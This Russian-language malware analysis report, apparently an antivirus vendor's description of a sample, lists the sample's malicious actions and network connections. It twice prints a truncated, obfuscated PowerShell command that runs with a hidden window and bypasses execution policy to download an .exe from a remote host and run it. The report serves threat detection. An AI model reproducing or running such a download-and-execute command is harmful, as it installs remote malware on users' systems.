Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- https://a.safe.moe/msohy.exe как %temp%\\anyfilename.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C pOwERsHell.Exe -WindowSTYLE HIdden -nOprOFIlE -eXEcUTIonpolICY byPass (NEw-OBJeCt SYSteM.NET.WeBClIENt).DoWNlOAdFiLE('https://a.safe.moe/mSOhY.exe','%TEMP%\\anyFileName.exe') & %TEMP%\\anyFi...
Сетевая активность
Подключается к
- 'a.##fe.moe':443
UDP
- DNS ASK a.##fe.moe
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C pOwERsHell.Exe -WindowSTYLE HIdden -nOprOFIlE -eXEcUTIonpolICY byPass (NEw-OBJeCt SYSteM.NET.WeBClIENt).DoWNlOAdFiLE('https://a.safe.moe/mSOhY.exe','%TEMP%\\anyFileName.exe') & %TEMP%\\anyFi...' (со скрытым окном)
